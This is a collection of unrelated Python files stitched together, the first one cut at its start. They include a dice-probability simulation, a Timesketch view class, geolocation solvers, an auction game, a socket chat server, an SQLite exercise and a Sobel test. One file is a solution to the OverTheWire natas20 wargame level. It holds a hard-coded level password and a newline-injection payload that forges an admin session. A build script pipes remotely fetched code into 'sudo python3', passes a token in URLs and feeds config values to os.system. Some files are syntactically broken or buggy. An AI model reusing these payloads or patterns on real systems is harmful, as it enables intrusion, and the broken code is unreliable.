    # La cantidad de veces que la suma fue 8 comienza en 0, así como la de no obtenerla.
    sacarSuma8 = 0
    sacarNoSuma8 = 0
    # Los valores de la probabilidad de que la suma sea 8 comienza en 0 (Opcional).
    #pSuma8 = 0
    # Los valores de la probabilidad de que la suma no sea 8 comienza en 0 (Opcional).
    #pSumaNo8 = 0

    for i in range(N_1):
        dado_1 = rnd.randint(1,6)  # Se lanzan dos dados con rnd.randint(a,b) para que devuelva un número entero aleatorio entre 1 y 6.
        dado_2 = rnd.randint(1,6)
        if dado_1 + dado_2 == 8:   # Si la suma da 8, sumar 1 a "sacarSuma8".
            sacarSuma8 += 1
        else:                      # En cualquier otro caso, sumar 1 a "sacarNoSuma8".
            sacarNoSuma8 += 1

    # Definición de las probabilidades (eventos favorables/total de eventos).
    pSuma8 = float(sacarSuma8)/float(N_1)
    pNoSuma8 = float(sacarNoSuma8)/float(N_1)

    # Agregamos los valores de "N" y las dos probabilidades en sus respectivas listas.
    Ns_2.append(N_1)
    ProbSuma8.append(pSuma8)
    ProbNoSuma8.append(pNoSuma8)

plt.plot(Ns_2,ProbSuma8,'.',color='navy')         # Gráfica de P(Suma8) VS N.
plt.plot(Ns_2,ProbNoSuma8,'.',color='orangered')  # Gráfica de P(NoSuma8) VS N.
plt.axhline(5/36,color='orangered')             # Línea horizontal en P(Suma8)=5/36, el cual es el valor al que converge la probabilidad.
plt.axhline(31/36,color='blue')                 # Línea horizontal en P(NoSuma8)=31/36, el cual es el valor al que converge la probabilidad.
plt.title("Gráfica de $P(Suma)$ vs $N$")        # Título de la gráfica.
plt.xlabel("$N$")                               # Título del eje X "Número de eventos".
plt.ylabel("$Probabilidad$")                    # Título del eje Y "Probabilidades"

plt.show()

print("A continuación se muestran las dos gráficas anterior por separado:")

print("Probabilidad de que la suma de ambos dados sea igual a 8.")
plt.plot(Ns_2,ProbSuma8,'.',color='green')
plt.axhline(5/36,color='red')
plt.title("$P(d_{1}+d_{2}=8)$ vs $N$")
plt.xlabel("$N$")
plt.ylabel("$Probabilidad$")
plt.show()

print("Probabilidad de que la suma de ambos dados sea diferente de 8.")
plt.plot(Ns_2,ProbNoSuma8,'.',color='navy')
plt.axhline(31/36,color='orangered')
plt.title("$P( d_{1}+d_{2} \in [2,7] \cup [9,12] )$ vs $N$")
plt.xlabel("$N$")
plt.ylabel("$Probabilidad$")
plt.show()


from __future__ import unicode_literals

import json
import logging

from . import resource

logger = logging.getLogger("timesketch_api.view")

class View(resource.BaseResource):
    """Saved view object.

    Attributes:
        id: Primary key of the view.
        name: Name of the view.
    """

    def __init__(self, view_id, view_name, sketch_id, api):
        """Initializes the View object.

        Args:
            view_id: Primary key ID for the view.
            view_name: The name of the view.
            sketch_id: ID of a sketch.
            api: Instance of a TimesketchApi object.
        """
        logger.info(
            "View objects will be deprecated soon, consider transitioning "
            "into using the search.Search object instead"
        )
        self.id = view_id
        self.name = view_name
        resource_uri = "sketches/{0:d}/views/{1:d}/".format(sketch_id, self.id)
        super().__init__(api, resource_uri)

    def _get_top_level_attribute(self, name, default_value=None, refresh=False):
        """Returns a top level attribute from a view object.

        Args:
            name: String with the attribute name.
            default_value: The default value if the attribute does not exit,
                defaults to None.
            refresh: If set to True then the data will be refreshed.

        Returns:
            The dict value of the key "name".
        """
        view = self.lazyload_data(refresh_cache=refresh)
        view_objects = view.get("objects")
        if not view_objects:
            return default_value
        if not len(view_objects) == 1:
            return default_value

        first_object = view_objects[0]
        return first_object.get(name, default_value)

    @property
    def description(self):
        """Property that returns the description value of a view.

        Returns:
            Description of the view as a string.
        """
        return self._get_top_level_attribute("description", default_value="")

    @property
    def user(self):
        """Property that returns the username of the view creator.

        Returns:
            A string with the username of the user generating the view.
        """
        user_dict = self._get_top_level_attribute("user", default_value={})
        username = user_dict.get("username")
        if not username:
            return "System"
        return username

    @property
    def query_string(self):
        """Property that returns the views query string.

        Returns:
            OpenSearch query as string.
        """
        return self._get_top_level_attribute("query_string", default_value="")

    @property
    def query_filter(self):
        """Property that returns the views filter.

        Returns:
            OpenSearch filter as a dict.
        """
        query_filter_string = self._get_top_level_attribute(
            "query_filter", default_value=""
        )
        if not query_filter_string:
            return ""
        return json.loads(query_filter_string)

    @property
    def query_dsl(self):
        """Property that returns the views query DSL.

        Returns:
            OpenSearch DSL as a dict.
        """
        dsl_string = self._get_top_level_attribute("query_dsl", default_value="")
        if not dsl_string:
            return ""
        return json.loads(dsl_string)


import os
import sys
import argparse
import yaml
import httpx

# Parse arguments
parser = argparse.ArgumentParser(description='Build functions')
parser.add_argument('-r', '--repo', default='', nargs='?', help='Repo')
parser.add_argument('-t', '--token', default='', nargs='?', help='Token')
arguments = parser.parse_args()

# Create environments folder
envs_path = '/opt/environments'
if not os.path.isdir(envs_path):
    os.mkdir(envs_path)

# Pull or clone repo
if arguments.repo and arguments.token:
    # Define repo auxiliar names
    full_repo_name = '.'.join(arguments.repo.split('https://github.com/')[1].split('.')[:-1])
    repo_name = '.'.join(arguments.repo.split('/')[-1].split('.')[:-1])

    # Clone into environments folder
    if os.path.isdir(os.path.join(envs_path, repo_name)):
        os.system('cd %s/%s && git pull origin main' % (envs_path, repo_name))
    else:
        os.system('git clone https://%s@github.com/%s %s/%s' % (arguments.token, full_repo_name, envs_path, repo_name))

    # Get configuration
    url = 'https://%s@raw.githubusercontent.com/%s/main/config.yaml' % (arguments.token, full_repo_name)
    config = yaml.load(httpx.get(url).text, Loader=yaml.Loader)

    # Install apt packages
    requirements_apt = ' '.join(config.get('requirements_apt', []))
    if requirements_apt:
        os.system('apt-get update && apt-get install --no-install-recommends -q -y %s' % (requirements_apt))

    # Install pip packages
    requirements_pip = ' '.join(config.get('requirements_pip', []))
    if requirements_pip:
        os.system('pip3 install %s' % (requirements_pip))

    # Install ops
    for op in config.get('ops', []):
        os.system('curl -s https://raw.githubusercontent.com/iortio/get_op/main/get_op.py | sudo python3 - -r %s -t %s' % (op, arguments.token))

    # Install jobs
    for job in config.get('jobs', []):
        os.system('curl -s https://raw.githubusercontent.com/iortio/get_op/main/get_job.py | sudo python3 - -r %s -t %s' % (job, arguments.token))


import numpy as np
import scipy
import matplotlib.pyplot as plt

# import utils

def ls_solver(zeta, jacobian, covariance, x_init, epsilon=1e-6, max_num_iterations=10e3, force_full_calc=False,
              plot_progress=False):
    """
    Computes the least square solution for geolocation processing.

    Ported from MATLAB Code.

    Nicholas O'Donoughue
    14 January 2021

    :param zeta: Measurement vector function handle (accepts n_dim vector of source position estimate, responds with
                 error between received and modeled data vector)
    :param jacobian: Jacobian matrix function handle (accepts n_dim vector of source position estimate, and responds
                     with n_dim x n_sensor Jacobian matrix)
    :param covariance: Measurement error covariance matrix
    :param x_init: Initial estimate of source position
    :param epsilon: Desired position error tolerance (stopping condition)
    :param max_num_iterations: Maximum number of LS iterations to perform
    :param force_full_calc: Forces all max_num_iterations to be calculated
    :param plot_progress: Binary flag indicating whether to plot error/pos est over time
    :return x: Estimated source position.
    :return x_full: Iteration-by-iteration estimated source positions
    """

    # Parse inputs
    n_dims = np.size(x_init)

    # Initialize loop
    current_iteration = 0
    error = np.inf
    x_full = np.zeros(shape=(n_dims, max_num_iterations))
    x_prev = x_init
    x_full[:, current_iteration] = x_prev

    # Find the lower triangular cholesky decomposition of the covariance matrix
    covariance_lower = np.linalg.cholesky(covariance)

    # Initialize Plotting
    if plot_progress:
        _, ax = plt.subplots()
        plt.xlabel('Iteration Number')
        plt.ylabel('Change in Position Estimate')
        plt.yscale('log')

    # Divergence Detection
    num_expanding_iterations = 0
    max_num_expanding_iterations = 10
    prev_error = np.inf

    # Loop until either the desired tolerance is achieved or the maximum number of iterations have occurred
    while current_iteration < (max_num_iterations-1) and (force_full_calc or error >= epsilon):
        current_iteration += 1

        # Evaluate Residual and Jacobian Matrix
        y_i = zeta(x_prev)
        jacobian_i = np.squeeze(jacobian(x_prev))  # Use the squeeze command to drop the third dim (n_source = 1)

        # Compute delta_x^(i), according to 10.20
        # Using Cholesky decomposition:
        #    C = L@L', we solved for L outside the loop
        # [J @ C^{-1} @ J.T]^{-1} @ J @ C^{-1} @ y is
        # rewritten
        # [ a.T @ a ] ^{-1} @ a.T @ b
        # where a and b are solved via forward substitution
        # from the lower triangular matrix L.
        #   L @ a = J.T
        #   L @ b = y
        a = scipy.linalg.solve_triangular(covariance_lower, jacobian_i.T, lower=True)
        b = scipy.linalg.solve_triangular(covariance_lower, y_i, lower=True)
        # Then, we solve the system
        #  (a.T @ a) @ delta_x = a.T @ b
        delta_x, _, _, _ = np.linalg.lstsq(a.T @ a, a.T @ b, rcond=None)

        # Update predicted location
        x_full[:, current_iteration] = x_prev + np.squeeze(delta_x)

        # Update variables
        x_prev = x_full[:, current_iteration]
        error = np.linalg.norm(delta_x)

        if plot_progress:
            plt.plot(current_iteration, error, '.')

        # Check for divergence
        if error <= prev_error:
            num_expanding_iterations = 0
        else:
            num_expanding_iterations += 1
            if num_expanding_iterations >= max_num_expanding_iterations:
                # Divergence detected
                x_full[:, current_iteration:] = np.nan
                break

        prev_error = error

    # Bookkeeping
    if not force_full_calc:
        x_full[:, current_iteration+1:] = x_full[:, :current_iteration]

    x = x_full[:, -1]

    return x, x_full

def gd_solver(y, jacobian, covariance, x_init, alpha=0.3, beta=0.8, epsilon=1.e-6, max_num_iterations=10e3,
              force_full_calc=False, plot_progress=False):
    """
    Computes the gradient descent solution for localization given the provided measurement and Jacobian function
    handles, and measurement error covariance.

    Ported from MATLAB code.

    Nicholas O'Donoughue
    14 January 2021

    :param y: Measurement vector function handle (accepts n_dim vector of source position estimate, responds with error
              between received and modeled data vector)
    :param jacobian: Jacobian matrix function handle (accepts n_dim vector of source position estimate, and responds
                     with n_dim x n_sensor Jacobian matrix
    :param covariance: Measurement error covariance matrix
    :param x_init: Initial estimate of source position
    :param alpha: Backtracking line search parameter
    :param beta: Backtracking line search parameter
    :param epsilon: Desired position error tolerance (stopping condition)
    :param max_num_iterations: Maximum number of LS iterations to perform
    :param force_full_calc: Forces all max_num_iterations to be executed
    :param plot_progress: Binary flag indicating whether to plot error/pos est over time
    :return x: Estimated source position
    :return x_full: Iteration-by-iteration estimated source positions
    """
    # Parse inputs
    n_dims = np.size(x_init)

    # Initialize loop
    current_iteration = 0
    error = np.inf
    x_full = np.zeros(shape=(n_dims, max_num_iterations))
    x_prev = x_init
    x_full[:, current_iteration] = x_prev

    # Pre-compute covariance matrix inverses
    covariance_lower = np.linalg.cholesky(covariance)

    # Cost Function for Gradient Descent
    def cost_fxn(z):
        this_y = y(z)
        l_inv_y = scipy.linalg.solve_triangular(covariance_lower, this_y, lower=True)
        return np.conj(l_inv_y.T) @ l_inv_y

    # Initialize Plotting
    if plot_progress:
        fig_plot, ax_set = plt.subplots(ncols=1, nrows=2)
        plt.xlabel(ax_set[0], 'Iteration Number')
        plt.ylabel(ax_set[0], 'Change in Position Estimate')
        plt.yscale(ax_set[0], 'log')

        plt.xlabel(ax_set[1], 'x')
        plt.ylabel(ax_set[1], 'y')
    else:
        ax_set = None  # This removes a 'variable possibly unset' warning

    # Divergence Detection
    num_expanding_iterations = 0
    max_num_expanding_iterations = 5
    prev_error = np.inf

    # Loop until either the desired tolerance is achieved or the maximum
    # number of iterations have occurred
    while current_iteration < (max_num_iterations-1) and (force_full_calc or error >= epsilon):
        current_iteration += 1

        # Evaluate Residual and Jacobian Matrix
        y_i = y(x_prev)
        jacobian_i = np.squeeze(jacobian(x_prev))  # Use squeeze to remove third dimension (n_source=1)

        # Compute Gradient and Cost function
        a = scipy.linalg.solve_triangular(covariance_lower, jacobian_i.T, lower=True)
        b = scipy.linalg.solve_triangular(covariance_lower, y_i, lower=True)
        grad = -2 * a.T @ b

        # Descent direction is the negative of the gradient
        del_x = -np.squeeze(grad/np.linalg.norm(grad))

        # Compute the step size
        t = backtracking_line_search(cost_fxn, x_prev, grad, del_x, alpha, beta)

        # Update x position
        x_full[:, current_iteration] = x_prev + t*del_x

        # Update variables
        x_prev = x_full[:, current_iteration]
        error = t

        if plot_progress:
            plt.plot(ax_set[0], current_iteration, error, '.')
            plt.plot(ax_set[1], x_full[0, np.arange(current_iteration)], x_full[1, np.arange(current_iteration)], '-+')

        # Check for divergence
        if error <= prev_error:
            num_expanding_iterations = 0
        else:
            num_expanding_iterations += 1
            if num_expanding_iterations >= max_num_expanding_iterations:
                # Divergence detected
                x_full[:, current_iteration:] = np.NaN
                break

        prev_error = error

    # Bookkeeping
    if not force_full_calc:
        x_full[:, current_iteration+1:] = x_full[:, :current_iteration]

    x = x_full[:, -1]

    return x, x_full

def backtracking_line_search(f, x, grad, del_x, alpha=0.3, beta=0.8):
    """
    # Performs backtracking line search according to algorithm 9.2 of
    # Stephen Boyd's, Convex Optimization

    Ported from MATLAB Code

    Nicholas O'Donoughue
    14 January 2021

    :param f: Function handle to minimize
    :param x: Current estimate of x
    :param grad: Gradient of f at x
    :param del_x: Descent direction
    :param alpha: Constant between 0 and 0.5 (default=0.3)
    :param beta: Constant between 0 and 1 (default=0.8)
    :return t: Optimal step size for the current estimate x.
    """

    # Initialize the search parameters and direction
    t = 1
    starting_val = np.squeeze(f(x))
    slope = np.squeeze(np.conjugate(grad.T) @ del_x)

    # Make sure that x, del_x are arrays (not matrices)
    del_x = np.squeeze(del_x)
    x = np.squeeze(x)
    # Make sure the starting value is large enough
    while f(x+t*del_x) < starting_val+alpha*t*slope:
        t = 2*t

    # Conduct the backtracking line search
    while f(x+t*del_x) > starting_val+alpha*t*slope:
        t = beta*t

    return t

def ml_solver(ell, x_ctr, search_size, epsilon):
    """
    Execute ML estimation through brute force computational methods.

    Ported from MATLAB code.

    Nicholas O'Donoughue
    14 January 2021

    :param ell: Function handle for the likelihood of a given position must accept x_ctr (and similar sized vectors)
                as the sole input.
    :param x_ctr: Center position for search space (x, x/y, or z/y/z).
    :param search_size: Search space size (same units as x_ctr)
    :param epsilon: Search space resolution (same units as x_ctr)
    :return x_est: Estimated minimum
    :return A: Likelihood computed at each x position in the search space
    :return x_grid: Set of x positions for the entire search space (M x N) for N=1, 2, or 3.
    """

    # Set up the search space
    x_set, x_grid, out_shape = utils.make_nd_grid(x_ctr, search_size, epsilon)

    # Evaluate the likelihood function at each coordinate in the search space
    likelihood = ell(x_set.T)

    # Find the peak
    idx_pk = likelihood.argmax()
    x_est = x_set[idx_pk]

    return x_est, likelihood, x_grid

def bestfix(pdfs, x_ctr, search_size, epsilon):
    """
    Based on the BESTFIX algorithm, invented in 1990 by Eric Hodson (R&D Associates, now with Naval Postgraduate
    School).  Patent is believed to be in the public domain.

    Ref:
     Eric Hodson, "Method and arrangement for probabilistic determination of a target location,"
     U.S. Patent US5045860A, 1990, https://patents.google.com/patent/US5045860A

    Ported from MATLAB Code.

    Nicholas O'Donoughue
    14 January 2021

    :param pdfs: Lx1 cell list of PDF functions, each of which represents the probability that an input position
                 (Ndim x 3 array) is the true source position for one of the measurements.
    :param x_ctr: Center position for search space (x, x/y, or z/y/z).
    :param search_size: Search space size (same units as x_ctr)
    :param epsilon: Search space resolution (same units as x_ctr)
    :return x_est: Estimated position
    :return result: Likelihood computed at each x position in the search space
    :return x_grid: Set of x positions for the entire search space (M x N) for N=1, 2, or 3.
    """

    # Set up the search space
    x_set, x_grid, out_shape = utils.make_nd_grid(x_ctr, search_size, epsilon)

    # Apply each PDF to all input coordinates and then multiply across PDFs
    result = np.asarray([np.prod(np.asarray([this_pdf(this_x) for this_pdf in pdfs])) for this_x in x_set])

    # Reshape
    result = np.reshape(result, out_shape)

    # Find the highest scoring position
    idx_pk = result.argmax()
    x_est = x_set[idx_pk]

    return x_est, result, x_grid


#!/usr/bin/python

import sys
import os
import os.path
import cherrypy
from cherrypy.lib import cptools

sys.path.append(os.getcwd())
sys.path.append(os.path.dirname( os.path.realpath( __file__ ) )+'/../server/')
from utils import fgLog
from subprocess import Popen
from subprocess import PIPE

import IRUtil

## Class distributions
class distributions() :

    ############################################################
    # __init__
    ############################################################
    def __init__(self):
        self._log = fgLog.fgLog(IRUtil.getLogFile(), IRUtil.getLogLevel(), "getDistributions", False)
        self.returnCode = 0
        kernel = self.runCmd('uname -s')
        if kernel == "Darwin\n" :
            self._log.info("Using Darwin kernel ")
            self.openssl_dist = 'http://www.openssl.org/source/openssl-1.0.0d.tar.gz'
            self.openssl_dir = 'openssl-1.0.0d'
            self.cherrypy_dist = 'http://download.cherrypy.org/cherrypy/3.2.0/CherryPy-3.2.0.tar.gz'
            self.cherrypy_dir = 'CherryPy-3.2.0'
            cmdOutput = 'x86_64\n'#runCmd('uname -p')
        if cmdOutput == "i386\n" :
            self.mongo_dist = 'http://fastdl.mongodb.org/osx/mongodb-osx-i386-1.8.2.tgz'
            self.mongo_dir = 'mongodb-osx-i386-1.8.2'
        elif cmdOutput == 'x86_64\n' :
            self._log.info('Using osx x86_64')
            self.mongo_dist = 'http://fastdl.mongodb.org/osx/mongodb-osx-x86_64-1.8.2.tgz'
            self.mongo_dir = 'mongodb-osx-x86_64-1.8.2'
        elif kernel == "Linux\n" :
            self.info('Using Linux kernel')
            self.openssl_dist = 'http://www.openssl.org/source/openssl-1.0.0d.tar.gz'
            self.openssl_dir = 'openssl-1.0.0d'
            self.cherrypy_dist = 'http://download.cherrypy.org/cherrypy/3.2.0/CherryPy-3.2.0.tar.gz'
            self.cherrypy_dir = 'CherryPy-3.2.0'
            cmdOutput = 'x86_64\n' #runCmd('uname -p')
            if cmdOutput == "i386\n" :
                self.mongo_dist = 'http://fastdl.mongodb.org/linux/mongodb-linux-i686-1.8.2.tgz'
                self.mongo_dir = 'mongodb-linux-i686-1.8.2'
            elif cmdOutput == "x86_64\n" :
                self.mongo_dist = 'http://fastdl.mongodb.org/linux/mongodb-linux-x86_64-1.8.2.tgz'
                self.mongo_dir = 'mongodb-linux-x86_64-1.8.2'

    ## Execute shell based command
    # @param cmd the command string
    def runCmd(self, cmd, isShell = False):
        print("Executing command " + cmd)
        if isShell == True :
            p = Popen(cmd.split(' '), stdout=PIPE, stderr=PIPE, shell = True)
        else :
            p = Popen(cmd.split(' '), stdout=PIPE, stderr=PIPE)

        std = p.communicate()
        self.returnCode = p.returncode
        if len(std[0]) > 0:
            self._log.debug('stdout: '+std[0])

        if p.returncode != 0:
            self._log.error('Command: '+cmd+' failed, status: '+str(p.returnCode)+' --- '+std[1])

        return std[0]

    ## Retrieve openssl distribution
    # Return code 0:  succesful installation,  return code 1:  unsuccessful
    def getopenssl(self) :
        install_dir = 'ssl'
        path_name = '/usr/local/ssl/bin/openssl'
        exitStat = 2
        # Retrieve distribution
        self.runCmd('wget ' + self.openssl_dist)
        if (self.returnCode != 0) :
            return self.returnCode
        self.runCmd('tar -xvf ' + self.openssl_dir + '.tar.gz')
        if (self.returnCode != 0) :
            return self.returnCode
        cmd = 'mv -f ' + self.openssl_dir + ' ' + install_dir
        return self.returnCode

    ## Retrieve openssl distribution
    # Return code 0 - succesful installation, return code 1 unsucessful
    def getmongo(self):
        install_dir = 'mongodb'
        self.runCmd('wget ' + self.mongo_dist)
        if (self.returnCode != 0) :
            return self.returnCode
        self.runCmd('tar -xvf ' + self.mongo_dir + '.tgz')
        if (self.returnCode != 0) :
            return self.returnCode
        cmd = 'mv -f ' + mongo_dir + ' ' + install_dir
        self.runCmd(cmd)
        if (self.returnCode != 0) :
            return self.returnCode

        return 0

    ## Retrieve cherrypy distribution
    # Return code 0 - succesful installation, return code 1 unsuccesful
    def getcherrypy(self):
        install_dir = 'cherrypy'
        try :
            import cherrypy
        except ImportError:
            print ("---RETRIEVING CHERRYPY DISTRIBUTION-----")
            self.runCmd('wget ' + self.cherrypy_dist)
            if (self.returnCode != 0) :
                return self.returnCode
            self.runCmd('tar -xvf ' + self.cherrypy_dir + '.tar.gz')
            cmd = 'mv -f ' + self.cherrypy_dir + ' ' + install_dir
            self.runCmd(cmd)
            if (self.returnCode != 0) :
                return self.returnCode

        try :
            import cherrypy
        except ImportError:
            print("unable to install cheryypy")
            return 1
        return 0


import os
from art import logo

print(logo)

def find_highest_bidder(bidding_record):
  highest_bid = 0
  winner = ""
  # bidding_record = {"Angela": 123, "James": 321}
  for bidder in bidding_record:
    bid_amount = bidding_record[bidder]
    if bid_amount > highest_bid:
      highest_bid = bid_amount
      winner = bidder

  print(bids)
  print(f"The winner is {winner} with a bid of ${highest_bid}")

bids = {}
more_bidders = True

while more_bidders == True:
    name = input("What is your name?: ")
    bid = int(input("What is your bid?: $"))

    bids.update({name: bid})

    response = input("Are there more bidders? Type 'yes' or 'no': ")
    if response == "no":
        more_bidders = False
        find_highest_bidder(bids)
    elif response == "yes":
        os.system('cls||clear')


from threading import Thread
import socket
import sys,time
from PyQt5 import QtWidgets , uic,QtGui
def Send():
    msg=sc.txte.toPlainText()
    msg2=msg
    if(msg != ""):
        msg = msg.encode("utf-8")
        client.send(msg)
        sc.txte.setPlainText("")
        sys.stdout = open("output.txt", "a")
        print("Server :"+msg2+"
")
        sys.stdout.close()
    f=open("output.txt",'r')
    sc.txt.setHtml(f.read())
    f.close()
def rec():
    recep.start()
def Reception():
    while True:
        requete_client = client.recv(500)
        requete_client = requete_client.decode('utf-8')
        out="Client :"+str(requete_client)
Host = "127.0.0.1"
Port = 6390
#Création du socket
socket = socket.socket()

socket.bind((Host,Port))
socket.listen(1)

#Le script s'arrête jusqu'a une connection
client, ip = socket.accept()
print("Le client d'ip",ip,"s'est connecté")
recep = Thread(target=Reception,args=(), daemon=True)
if __name__== '__main__':
    App=QtWidgets.QApplication(sys.argv)
    sc=uic.loadUi("IPC.ui")
    sc.setWindowTitle("Server")
    sc.send_2.clicked.connect(Send)
    sc.actionreceive.triggered.connect(rec)
    sc.show()
    App.exec_()
    App.exit()
client.close()
socket.close()


from PIL import Image as im
from helper.functions import getFilesInPath
import argparse, numpy as np, os, shutil

def findIndex(search,list):
    for i, l in enumerate(list):
        if l[0:len(search)] == search:
            return i
    return -1

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Stack different files')
    parser.add_argument('--original', help='Original datasets', required=True)
    parser.add_argument('--stacked', help='Stacked file', required=True)
    parser.add_argument('--outputFileType', help='type of file to ouput', required=True)
    args = parser.parse_args()

    folders = args.original.split('__')

    files = [getFilesInPath(f,fullPath=False) for f in folders]

    if os.path.exists(args.stacked):
        shutil.rmtree(args.stacked)

    os.makedirs(args.stacked)

    fusedFiles = []
    for i in range(len(files[0])):
        if files[0][i][-3:] == 'bmp':
            currFile = np.array(im.open(os.path.join(folders[0], files[0][i])).convert('RGB'))
        else:
            currFile = np.array(im.open(os.path.join(folders[0],files[0][i])))
        if (len(currFile.shape) < 3):
            currFile = currFile.reshape((100,100,1))
        for j in range(1,len(files)):
            indexFiles = findIndex(files[0][i][:-4],files[j])
            imageOpened = np.array(im.open(os.path.join(folders[j],files[j][indexFiles])))
            if len(imageOpened.shape) < 3:
                imageOpened = imageOpened.reshape((100,100,1))
            currFile = imageOpened if currFile is None else np.concatenate((currFile,imageOpened),axis=2)

        fileName = files[0][i][:-4]
        if args.outputFileType == 'npy':
            np.save(os.path.join(args.stacked,fileName),currFile)
        else:
            imageFile = im.fromarray(currFile)
            fullFilePath = os.path.join(args.stacked,fileName+'.'+args.outputFileType)
            imageFile.save(fullFilePath)


# -*- coding:utf8 -*-

import requests

url = "http://natas20.natas.labs.overthewire.org/index.php?debug=true&name="
auth = ("natas20", "eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF")
inj = "lol%5Cnadmin 1"

data = { "name" : "lol\nadmin 1"}

r = requests.post(url, auth=auth, data=data)
print(r.text)


'''
5. Provide a program to create tables (Employee, Department,
Project) in database Sqlite and insert the data.
• Make sure to add basic field, with employee to department and project relation.
• Make sure maintain M2M relation between employee and project.
'''

import sqlite3
from sqlite3 import Error

def create_connection(db_file):
    conn = None
    try:
        conn = sqlite3.connect(db_file)
        return conn
    except Error as e:
        print(e)

    return conn

def create_table(conn, create_table_sql):
    try:
        c = conn.cursor()
        c.execute(create_table_sql)
    except Error as e:
        print(e)

import sqlite3

def insertVaribleIntoEmployee(conn, Employee_id, name, city, DEPT_NO):
    try:
        c = conn.cursor()
        print("Connected to SQLite")

        sqlite_insert_with_param = """INSERT INTO Employee
                          ( Employee_id, name, city, DEPT_NO)
                          VALUES (?, ?, ?, ?);"""

        data_tuple = (Employee_id, name, city, DEPT_NO)
        c.execute(sqlite_insert_with_param, data_tuple)
        conn.commit()
        print("Python Variables inserted successfully into Employee table")

        c.close()

    except sqlite3.Error as error:
        print("Failed to insert Python variable into sqlite table", error)
    finally:
        if c:
            c.close()
            print("The SQLite connection is closed")

def insertVaribleIntoProjects(conn, Project_id, Project_name, Employee_id):
    try:
        c = conn.cursor()
        print("Connected to SQLite")

        sqlite_insert_with_param = """INSERT INTO projects
                          (Project_id ,Project_name,Employee_id)
                          VALUES (?, ?, ?);"""

        data_tuple = (Project_id, Project_name, Employee_id)
        c.execute(sqlite_insert_with_param, data_tuple)
        conn.commit()
        print("Python Variables inserted successfully into Projects table")

        c.close()

    except sqlite3.Error as error:
        print("Failed to insert Python variable into sqlite table", error)
    finally:
        if c:
            c.close()
            print("The SQLite connection is closed")

def insertVaribleIntoDepartment(conn, DEPT_NO, DEPT_NAME, LOCATION):
    try:
        c = conn.cursor()
        print("Connected to SQLite")

        sqlite_insert_with_param = """INSERT INTO Department
                          (DEPT_NO, DEPT_NAME, LOCATION)
                          VALUES (?, ?, ?);"""

        data_tuple = (DEPT_NO, DEPT_NAME, LOCATION)
        c.execute(sqlite_insert_with_param, data_tuple)
        conn.commit()
        print("Python Variables inserted successfully into Department table")

        c.close()

    except sqlite3.Error as error:
        print("Failed to insert Python variable into sqlite table", error)
    finally:
        if c:
            c.close()
            print("The SQLite connection is closed")

def main():
    database = r"pythonsqlite.db"

    sql_create_Employee_table = """ CREATE TABLE IF NOT EXISTS Employee(
                                     Employee_id integer(5) PRIMARY KEY,
                                     name char(30)NOT NULL,
                                     city char(35),
                                     DEPT_NO char(3)
                                     );"""
    sql_create_projects_table = """ CREATE TABLE IF NOT EXISTS projects (
                                         Project_id integer(10) PRIMARY KEY,
                                         Project_name char(40),
                                         Employee_id integer(5)
                                     );"""

    sql_create_Department_table = """
                                CREATE TABLE IF NOT EXISTS Department(
                                DEPT_NO char(3) NOT NULL,
                                DEPT_NAME  char(29) NOT NULL,
                                LOCATION  char(16) PRIMARY KEY
                                );"""

    # create a database connection
    conn = create_connection(database)

    # create tables
    if conn is not None:
        # create Employ table
        create_table(conn, sql_create_Employee_table)
        insertVaribleIntoEmployee(conn, 2, 'Joe', 'ghazipur', '02')
        insertVaribleIntoEmployee(conn, 3, 'Ben', 'varanasi', '04')
        # create projects table
        create_table(conn, sql_create_projects_table)
        insertVaribleIntoProjects(conn,232,"My4C",2)
        insertVaribleIntoProjects(conn, 242, "Bd's", 3)
        # create tasks table
        create_table(conn, sql_create_Department_table)
        insertVaribleIntoDepartment(conn,'34','Dilivery','Jaipur')
        insertVaribleIntoDepartment(conn, '30', 'Dev', 'Gurgava')
    else:
        print("Error! cannot create the database connection.")

if __name__ == '__main__':
    main()


#!/usr/bin/env python
import logging
import sys
import unittest
import scipy as sp
import numpy as np
import mango.mpi as mpi
import mango.image
import mango.io

logger, rootLogger = mpi.getLoggers(__name__)

class SobelTest(unittest.TestCase):
    def setUp(self):
        subdShape = sp.array((64,64,64))
        mpiCartShape = mango.mpi.getCartShape(dimension=3)
        mpiCartShape = sp.array(mpiCartShape)

        self.imgShape = mpiCartShape*subdShape

    def doTestSobelWithHalo(self, haloSz=0):
        if (isinstance(haloSz, int) or ((sys.version_info.major < 3) and isinstance(haloSz, long))):
            if (haloSz < 0):
                haloSz = 0
            haloSz = sp.array((haloSz,)*3)

        imgDds = mango.zeros(shape=self.imgShape, mtype="tomo_float", halo=haloSz)

        slc = []
        for d in range(len(haloSz)):
            slc.append(slice(haloSz[d], imgDds.asarray().shape[d]-haloSz[d]))

        slc = tuple(slc)

        sobelDds = mango.image.sobel(imgDds)

        self.assertTrue(sp.all(imgDds.dtype == sobelDds.dtype))
        self.assertTrue(sp.all(imgDds.mtype == sobelDds.mtype), "%s != %s" % (imgDds.mtype, sobelDds.mtype))
        self.assertTrue(sp.all(imgDds.halo == sobelDds.halo))
        self.assertTrue(sp.all(imgDds.shape == sobelDds.shape))
        self.assertTrue(sp.all(imgDds.origin == sobelDds.origin), "%s != %s" % (imgDds.origin, sobelDds.origin))
        self.assertTrue(sp.all(imgDds.mpi.shape == sobelDds.mpi.shape))

        logger.info("imgDds min   = %s, imgDds max   = %s" % (np.min(imgDds.asarray()), np.max(imgDds.asarray())))
        logger.info("sobelDds min = %s, sobelDds max = %s" % (np.min(sobelDds.asarray()[slc]), np.max(sobelDds.asarray()[slc])))
        logger.info("num non-zero sobelDds = %s" % sp.sum(sp.where(sobelDds.asarray()[slc] != 0, 1, 0)))

        self.assertTrue(sp.all(imgDds.asarray() == 0))
        self.assertTrue(sp.all(sobelDds.asarray()[slc] == 0))

        imgDds = mango.zeros(shape=self.imgShape, dtype="float64", halo=haloSz)
        sobelDds = mango.image.sobel(imgDds)

        self.assertTrue(sp.all(imgDds.dtype == sobelDds.dtype))
        self.assertTrue(sp.all(imgDds.mtype == sobelDds.mtype))
        self.assertTrue(sp.all(imgDds.halo == sobelDds.halo))
        self.assertTrue(sp.all(imgDds.shape == sobelDds.shape))
        self.assertTrue(sp.all(imgDds.origin == sobelDds.origin), "%s != %s" % (imgDds.origin, sobelDds.origin))
        self.assertTrue(sp.all(imgDds.mpi.shape == sobelDds.mpi.shape))

        logger.info("imgDds min   = %s, imgDds max   = %s" % (np.min(imgDds.asarray()), np.max(imgDds.asarray())))
